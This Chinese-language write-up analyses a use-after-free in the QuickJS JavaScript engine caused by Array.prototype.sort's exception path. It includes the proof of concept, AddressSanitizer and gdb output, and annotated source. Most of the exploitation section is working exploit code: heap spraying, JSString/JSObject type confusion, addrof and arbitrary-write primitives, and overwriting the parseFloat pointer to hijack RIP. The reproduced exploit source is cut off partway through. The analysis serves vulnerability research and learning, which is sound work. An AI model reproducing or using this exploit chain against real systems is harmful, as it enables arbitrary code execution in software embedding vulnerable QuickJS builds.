从twitter上看到了一个关于quickjs漏洞挖掘与漏洞利用的一次竞赛:http://rce.party/cracksbykim-quickJS.nfo
一共看到6个poc,3个代码审计、2个fuzzing、1个凭感觉..........,最后两个完成了exp,控制了eip/rip。
我试着分析了其中一个漏洞,并记录了整个过程。

0x1 POC

let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
    a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
for (let i=0; i<1000; i++) spray[i] = [13371337];
console.log(refcopy[0]);

用AddressSanitizer编译quickjs源码,根据AddressSanitizer的结果来分析漏洞的触发过程。
AddressSanitizer 结果:

==2368==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000091d0 at pc 0x0000005220c5 bp 0x7fffffff8ab0 sp 0x7fffffff8aa8
READ of size 4 at 0x6070000091d0 thread T0
[New process 2372]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 2372 is executing new program: /usr/lib/llvm-6.0/bin/llvm-symbolizer
Error in re-setting breakpoint 1: No source file named quickjs.c.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    #0 0x5220c4 in JS_DupValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:579:21
    #1 0x52ff47 in JS_GetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:6909:20
    #2 0x547cfe in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15825:23
    #3 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
    #4 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
    #5 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
    #6 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
    #7 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
    #8 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
    #9 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
    #10 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
    #11 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #12 0x41d909 in _start (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x41d909)

0x6070000091d0 is located 0 bytes inside of 72-byte region [0x6070000091d0,0x607000009218)
freed by thread T0 here:
    #0 0x4dd5f0 in __interceptor_free.localalias.0 (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd5f0)
    #1 0x66e865 in js_def_free /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1312:5
    #2 0x5212a5 in js_free_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1023:5
    #3 0x5805fc in free_object2 /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4828:9
    #4 0x57fd6a in free_object /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4836:9
    #5 0x57fb7c in __JS_FreeValueRT /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4871:9
    #6 0x5a8d68 in __JS_FreeValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4906:5
    #7 0x51dbd8 in JS_FreeValue.66 /home/test/Desktop/quick/quickjs-2019-07-09-clang/./quickjs.h:560:13
    #8 0x55df27 in set_value /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1796:5
    #9 0x562dc1 in JS_SetPropertyInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7467:13
    #10 0x56d26c in JS_SetPropertyValue /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:7779:15
    #11 0x548901 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:15888:23
    #12 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
    #13 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
    #14 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
    #15 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
    #16 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
    #17 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
    #18 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
    #19 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
    #20 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

previously allocated by thread T0 here:
    #0 0x4dd7c0 in malloc (/home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs+0x4dd7c0)
    #1 0x66e6f5 in js_def_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1296:11
    #2 0x52e301 in js_malloc_rt /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1018:12
    #3 0x52e164 in js_malloc /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:1058:11
    #4 0x59fc5c in JS_NewObjectFromShape /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4162:9
    #5 0x51cfd1 in JS_NewObjectProtoClass /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4274:12
    #6 0x556f23 in JS_NewObject /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:4347:12
    #7 0x538b02 in JS_CallInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:14591:21
    #8 0x522411 in JS_CallFree /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:16768:19
    #9 0x696fae in JS_EvalFunctionInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29671:19
    #10 0x691639 in __JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29802:19
    #11 0x59e8ab in JS_EvalInternal /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29820:12
    #12 0x6e3f34 in JS_Eval /home/test/Desktop/quick/quickjs-2019-07-09-clang/quickjs.c:29850:11
    #13 0x517f0d in eval_buf /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:57:11
    #14 0x5181cd in eval_file /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:79:11
    #15 0x5176c9 in main /home/test/Desktop/quick/quickjs-2019-07-09-clang/qjs.c:418:17
    #16 0x7ffff6e24b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

有了AddressSanitizer的帮助我们可以很清楚看到内存是在哪分配的、在哪释放的、在哪又重新引用了。

使用内存

577     if (JS_VALUE_HAS_REF_COUNT(v)) {
578         JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579         p->ref_count++;
580     }

释放内存

1796     JS_FreeValue(ctx, old_val);

分配内存

14590         CASE(OP_object):
14591             *sp++ = JS_NewObject(ctx);

0x2 简单分析

有了上面的信息,我试着逐行运行poc文件,尝试去理解quickjs是怎么解析js语法的。

let a = [1,2,3] //创建数组

14855         CASE(OP_array_from):
14856             {
14857                 int i, ret;
14858 
14859                 call_argc = get_u16(pc);
14860                 pc += 2;
14861                 ret_val = JS_NewArray(ctx);
14862                 if (unlikely(JS_IsException(ret_val)))
14863                     goto exception;
14864                 call_argv = sp - call_argc;
14865                 for(i = 0; i < call_argc; i++) {
14866                     ret = JS_DefinePropertyValue(ctx, ret_val, __JS_AtomFromUInt32(i), call_argv[i],
14867                                                  JS_PROP_C_W_E | JS_PROP_THROW);
14868                     call_argv[i] = JS_UNDEFINED;
14869                     if (ret < 0) {
14870                         JS_FreeValue(ctx, ret_val);
14871                         goto exception;
14872                     }
14873                 }
14874                 sp -= call_argc;
14875                 *sp++ = ret_val;
14876             }
14877             BREAK;

gdb 调试结果

gdb-peda$ p call_argc 
$2 = 0x3


gdb-peda$ p call_argv
$3 = (JSValue *) 0x7fffffff8fd0

gdb-peda$ x /6xg 0x7fffffff8fd0
0x7fffffff8fd0: 0x0000000000000001  0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002  0x0000000000000000
0x7fffffff8ff0: 0x0000000000000003  0x0000000000000000

let a = [{aa:1},0,1,2,3]; //创建object对象,然后创建数组,object引用次数为1

第一步 {aa:1}

14590         CASE(OP_object):
14591             *sp++ = JS_NewObject(ctx);
14592             if (unlikely(JS_IsException(sp[-1])))
14593                 goto exception;
14594             BREAK;

第二步创建数组

gdb-peda$ p call_argc 
$1 = 0x5
gdb-peda$ p call_argv 
$2 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /10xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0  0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000  0x0000000000000000
0x7fffffff8fd0: 0x0000000000000001  0x0000000000000000
0x7fffffff8fe0: 0x0000000000000002  0x0000000000000000
0x7fffffff8ff0: 0x0000000000000003  0x0000000000000000


//0x00006070000091d0    object 对象地址

//引用计数
gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
  ref_count = 0x1
}

//赋值的时候引用次数加1
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577     if (JS_VALUE_HAS_REF_COUNT(v)) {
578         JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579         p->ref_count++;
580     }
581     return (JSValue)v;
582 }

//释放掉之前的 减1
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557     if (JS_VALUE_HAS_REF_COUNT(v)) {
558         JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559         if (--p->ref_count <= 0) {
560             __JS_FreeValue(ctx, v);
561         }
562     }
563 }

let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]]; //创建另一个数组,object引用次数为2

//创建另一个数组 gdb调试信息

gdb-peda$ p call_argc 
$10 = 0x1

gdb-peda$ p call_argv 
$9 = (JSValue *) 0x7fffffff8fb0
gdb-peda$ x /4xg 0x7fffffff8fb0
0x7fffffff8fb0: 0x00006070000091d0  0xffffffffffffffff
0x7fffffff8fc0: 0x0000000000000000  0x0000000000000000


p *(JSRefCountHeader*)0x00006070000091d0
$16 = {
  ref_count = 0x2
}

let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;}); //设置数组属性值的方法,箭头函数,抛出异常

14837         CASE(OP_tail_call_method):
14838             {
14839                 call_argc = get_u16(pc);
14840                 pc += 2;
14841                 call_argv = sp - call_argc;
14842                 sf->cur_pc = pc;
14843                 ret_val = JS_CallInternal(ctx, call_argv[-1], call_argv[-2],
14844                                           JS_UNDEFINED, call_argc, call_argv, 0);
14845                 if (unlikely(JS_IsException(ret_val)))
14846                     goto exception;
14847                 if (opcode == OP_tail_call_method)
14848                     goto done;
14849                 for(i = -2; i < call_argc; i++)
14850                     JS_FreeValue(ctx, call_argv[i]);
14851                 sp -= call_argc + 2;
14852                 *sp++ = ret_val;
14853             }
14854             BREAK;




32081 /* magic = 1 if called as __defineSetter__ */
32082 static JSValue js_object___defineGetter__(JSContext *ctx, JSValueConst this_val,
32083                                           int argc, JSValueConst *argv, int magic)
32084 {
32085     JSValue obj;
32086     JSValueConst prop, value, get, set;
32087     int ret, flags;
32088     JSAtom atom;
32089 
32090     prop = argv[0];
32091     value = argv[1];
32092 
32093     obj = JS_ToObject(ctx, this_val);
32094     if (JS_IsException(obj))
32095         return JS_EXCEPTION;
            ..........
            ..........
}


p *(JSRefCountHeader*)0x00006070000091d0
$3 = {
  ref_count = 0x2
}

let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;}); //调用js_array_sort函数,调用之前设置的函数,抛出异常。
} catch (e){
//处理异常的时候,object引用次数减1
}

//调用js_array_sort

34645 static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val,
34646                              int argc, JSValueConst *argv)
34647 {
34648     struct array_sort_context asc = { ctx, 0, 0, argv[0] };
34649     JSValue obj = JS_UNDEFINED;
34650     ValueSlot *array = NULL;
34651     size_t array_size = 0, pos = 0, n = 0;
34652     int64_t i, len, undefined_count = 0;
34653     int present;
34654 
34655     if (!JS_IsUndefined(asc.method)) {
34656         if (check_function(ctx, asc.method))
34657             goto exception;
34658         asc.has_method = 1;
34659     }
34660     obj = JS_ToObject(ctx, this_val);
34661     if (js_get_length64(ctx, &len, obj))
34662         goto exception;



34719 exception:
34720     for (n = 0; n < pos; n++) {
34721         JS_FreeValue(ctx, array[n].val);
34722         if (array[n].str)
34723             JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
34724     }
34725     js_free(ctx, array);


#0  js_array_sort (ctx=0x7fffffff49a0, this_val=<error reading variable: Cannot access memory at address 0x40>, argc=0x0, argv=0x7fffffff4ab0)
    at quickjs.c:34647
#1  0x0000000000553606 in js_call_c_function (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
    at quickjs.c:14236
#2  0x000000000053642d in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x1, argv=0x7fffffff8fd0, flags=0x0)
    at quickjs.c:14430
#3  0x000000000053ba6a in JS_CallInternal (ctx=0x614000000040, func_obj=..., this_obj=..., new_target=..., argc=0x0, argv=0x0, flags=0x2)
    at quickjs.c:14843
#4  0x0000000000522412 in JS_CallFree (ctx=0x614000000040, func_obj=..., this_obj=..., argc=0x0, argv=0x0) at quickjs.c:16768



exception 的时候object引用次数减1

此时0x00006070000091d0

gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
  ref_count = 0x1
}

let a = [{hack:0},1,2,3,4];
a[0] = 0; //重新为a[0]赋值,之前a[0]的值是一个object对象,判断引用次数,如果为0,则释放该对象。

创建数组

第二步数组赋值
15884         CASE(OP_put_array_el):
15885             {
15886                 int ret;
15887 
15888                 ret = JS_SetPropertyValue(ctx, sp[-3], sp[-2], sp[-1], JS_PROP_THROW_STRICT);
15889                 JS_FreeValue(ctx, sp[-3]);
15890                 sp -= 3;
15891                 if (unlikely(ret < 0))
15892                     goto exception;
15893             }
15894             BREAK;


设置新值
1791 static inline void set_value(JSContext *ctx, JSValue *pval, JSValue new_val)
1792 {
1793     JSValue old_val;
1794     old_val = *pval;
1795     *pval = new_val;
1796     JS_FreeValue(ctx, old_val);
1797 }

之前的值判断引用计数
555 static inline void JS_FreeValue(JSContext *ctx, JSValue v)
556 {
557     if (JS_VALUE_HAS_REF_COUNT(v)) {
558         JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
559         if (--p->ref_count <= 0) {
560             __JS_FreeValue(ctx, v);    
561         }
562     }
563 }


gdb-peda$ p *(JSRefCountHeader*)0x00006070000091d0
$56 = {
  ref_count = 0x0
}

let a = [{aa:1},0,1,2,3];
let refcopy = [a[0]];
a.defineSetter(3,()=>{throw 1;});
try {
a.sort(function(v){return 0;});
} catch (e){ }
a[0] = 1; //同理上面
refcopy[0]; //最后heap use after free
while(1);

//取数组值
15821         CASE(OP_get_array_el):
15822             {
15823                 JSValue val;
15824 
15825                 val = JS_GetPropertyValue(ctx, sp[-2], sp[-1]);
15826                 JS_FreeValue(ctx, sp[-2]);
15827                 sp[-2] = val;
15828                 sp--;
15829                 if (unlikely(JS_IsException(val)))
15830                     goto exception;
15831             }
15832             BREAK;

//使用内存
575 static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v)
576 {
577     if (JS_VALUE_HAS_REF_COUNT(v)) {
578         JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
579         p->ref_count++;
580     }
581     return (JSValue)v;
582 }

0x3 利用

利用exp见文章末尾。

漏洞利用最终实现过程,利用free掉的内存造成类型混淆,利用类型混淆泄漏任意地址,得到parseFloat函数地址,利用任意地址写任意内容,覆盖parseFloat函数地址跳到我们的可控地址。

3.1

调用parseFloat函数的过程

RAX  0x46f680 (js_parseFloat) ◂— push   rbp
RIP  0x416e2b (js_call_c_function+603) ◂— call   rax
─────────────[ DISASM ]─────────────
  0x416e2b <js_call_c_function+603>    call   rax <0x46f680>
─────────────[ SOURCE (CODE) ]─────────
In file: /home/test/Desktop/quick/quickjs-2019-07-09xx/quickjs.c
   14231             }
   14232         }
   14233         /* here this_obj is new_target */
   14234         /* fall thru */
   14235     case JS_CFUNC_generic:
  14236         ret_val = func.generic(ctx, this_obj, argc, arg_buf);
   14237         break;

3.2

几个关键的结构体

JSObject

667 struct JSObject {
  668     JSRefCountHeader header; /* must come first, 32-bit */
  669     JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */
  670     uint8_t extensible : 1;
  671     uint8_t free_mark : 1; /* only used when freeing objects with cycles */
  672     uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */
  673     uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */
  674     uint8_t is_constructor : 1; /* TRUE if object is a constructor function */
  675     uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */
  676     uint8_t is_class : 1; /* TRUE if object is a class constructor */
  677     uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */
  678     uint16_t class_id; /* see JS_CLASS_x */
  679     /* byte offsets: 8/8 */
  680     struct list_head link; /* object list */
  681     /* byte offsets: 16/24 */
  682     JSShape *shape; /* prototype and property names + flag */
  683     JSProperty *prop; /* array of properties */
  684     /* byte offsets: 24/40 */
  685     struct JSMapRecord *first_weak_ref; /* XXX: use a bit and an external hash table? */
  686     /* byte offsets: 28/48 */
  687     union {
                ....
                ....
                ...
          }

JSString

384 struct JSString {
  385     JSRefCountHeader header; /* must come first, 32-bit */
  386     uint32_t len : 31;
  387     uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */
  388     uint32_t hash : 30;
  389     uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */
  390     uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */
  391 #ifdef DUMP_LEAKS
  392     struct list_head link; /* string list */
  393 #endif
  394     union {
  395         uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */
  396         uint16_t str16[0];
  397     } u;
  398 };

JSArrayBuffer

516 typedef struct JSArrayBuffer {
  517     int byte_length; /* 0 if detached */
  518     uint8_t detached;
  519     uint8_t shared; /* if shared, the array buffer cannot be detached */
  520     uint8_t *data; /* NULL if detached */
  521     struct list_head array_list;
  522     void *opaque;
  523     JSFreeArrayBufferDataFunc *free_func;
  524 } JSArrayBuffer;

3.3

漏洞利用,造成类型混淆

//触发漏洞,和poc一样。

a = [
    [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    ....
    ....          //内存要足够大
    ], 1, 2, 3, 4
];

refcopy = a[0];

a.__defineSetter__(3, function () {
    throw 1;
});
try {
    a.sort(function (v) {
        return 0;
    });
} catch (e) {}

//根据引用计数,释放掉之前的a[0]内存。此时内存类型为JSObject。
a[0] = 0x61616161;

//释放掉a[0]之后,重新分配JSString类型的内存。
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);

//释放刚刚申请的JSString类型的内存。
refcopy = 0;

//申请一块新的内存,类型大小和a[0]一致,此时refill_1和refill_0指向同一块内存。
refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,      //和a[0]一样
          ...
          ...
];

//通过refill_0访问该内存时,该内存类型为JSString。
//通过refill_1访问该内存时,该内存类型为JSObject。
//造成类型混淆

创建第二个数组时,对应的gdb信息

//此时数组0保存第一个数组的地址(JSObject),JSObject+56 偏移处保存着指向value的地址。

//重新分配JSString类型的内存。

(由于ASLR,地址变了,其实是上图中那个地址一致)

3.4

通过类型混淆泄漏JSObject的信息

for (var i = 0; i < 0x38; i += 4) {
    var ptr = 0;
    var val = '';
    ptr = refill_0.slice(i, i + 4);

    for (var j = 3; j >= 0; j--) {
        var char = ptr.charCodeAt(j).toString(16);
        if (char.length == 1)
            char = '0' + char;
        val += char;
    }
    val = parseInt(val, 16);
    jsobj_leak_data[i / 4] = val;
}

var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);

print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));

3.5

释放refill_1和refill_0之前的值,设置为JSObjects内存。

refill_1、refill_0指向同一块内存

refill_1 = 0;
refill_1 = [0x1337, 0x1337];

refill_0 = 0;
refill_0 = [0x71717171];

3.6

free refill_1内存,重新分配refill_1指向内存类型为jsArrayBuffer。

refill_1、refill_0指向同一块内存,refill_0类型JSObject, refill_1类型为jsArrayBuffer。

refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);

此时JsArrayBuffer的data地址刚好是之前那块JSObject地址,接下来通过refill_1设置JSObject的内存。

(由于ASLR,地址变了,其实是上图中那个地址一致)

3.7

通过refill_1,设置内存的值为之前泄漏的JSObject对象的值,但是JSObject对象值的地址+0x2000,跳到堆喷可控得内存区。

后边利用这个操作,泄漏任意地址。

jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;

for (var i = 4; i < 0x48 / 4; i++) {
    refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));

此时gdb中,JSObject values的值,指向了堆喷中的地址,+56。

(由于ASLR,地址变了,其实是上图中那个地址一致)

3.8

一开始的内存布局,堆喷、变量spray、jsobj_leak_data、x、y、master、slave

spray = [];

jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);

// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);

master = new Uint32Array(0x40);
master.fill(0x31313131);

slave = new Uint32Array(0x40);
slave.fill(0x61616161);

print("starting exploit");
print("spraying buffers");

for (var i = 0; i < 0x400; i++) {
    var x = new Uint32Array(0x1000 / 4);
    x.fill(0x51515151);
    spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
    spray[i] = 0;
}

3.9

此处JSObject值得地址已经指向了spray区,通过refill_0[0]操作的是之前spray值。

在spray中找到我们刚刚修改的那个值,确定他的地址和index,后边有用

refill_0[0] = 0x1;  //modify spray value

var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
    for (var j = 0; j < (0x1000 / 4); j++) {

        if (spray[i] && spray[i][j] == 0x1) {
            overlap_buf = spray[i];
            overlap_index = j;
            print("overlap found");
            print("spray index = " + i.toString(16));
            print("index into buffer = " + j.toString(16));

        }
    }
}

此时gdb中,通过JSObject values修改了spray数组。

3.10

利用上面的操作,泄漏任意地址。

在refill_0[0]处赋值为函数地址,通过overlap_buf把此处的地址读出来

可以得到parseFloat的地址、master字符串的地址、slave字符串的地址

function addrof(obj) {
    refill_0[0] = obj;
    var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
    refill_0[0] = 0;
    return ret;
}


print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);

print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));

此时gdb中,此时spray数组值为master addr,通过spray把地址读出来造成任意地址泄漏。

3.11

refill_0类型JSObject, refill_1类型为ArrayBuffer。

利用refill_1重新设置JSObject值得地址,让他指向master->values得地址。

利用refill_0设置master->values ==》 slave

// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;

此时gdb中,master->values ==》 slave。

3.12

任意地址写

function write64(addr, val) {
    master[56 / 4] = (addr & 0xffffffff) >>> 0;
    master[60 / 4] = addr / 0x100000000;

    slave[0] = val & 0xffffffff;
    slave[1] = val / 0x100000000;

}

print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();

任意地址写

控制rip地址

0x4 exp

function toint64(low, high) {
    return low + high * 0x100000000;
}

function fromint64(val) {
    return [val & 0xffffffff, val / 0x100000000];
}

// Global variables we are using
var a;
var refcopy;
var refill_0;
var refill_1;

var spray;

var jsobj_leak_data;

var x;
var y;

var master;
var slave;
var master_addr;
var slave_addr;

var test;
var test_addr;
var fake_test;
var test_values;
var test_values_read;

spray = [];

jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);

// .slice will allocate a new JSString
x = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
y = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);

master = new Uint32Array(0x40);
master.fill(0x31313131);

slave = new Uint32Array(0x40);
slave.fill(0x61616161);

print("starting exploit");
print("spraying buffers");

for (var i = 0; i < 0x400; i++) {
    var x = new Uint32Array(0x1000 / 4);
    x.fill(0x51515151);
    spray.push(x);
}
print("creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
    spray[i] = 0;
}
print("placing target");
a = [
    [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
        0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    ], 1, 2, 3, 4
];

print("grabbing reference to target");
refcopy = a[0];

print("triggering bug");
a.__defineSetter__(3, function () {
    throw 1;
});
try {
    a.sort(function (v) {
        return 0;
    });
} catch (e) {}

print("freeing target twice and overlaping JSString and JSObject");
a[0] = 0x61616161;
refill_0 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.slice(1);
refcopy = 0;

refill_1 = [0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
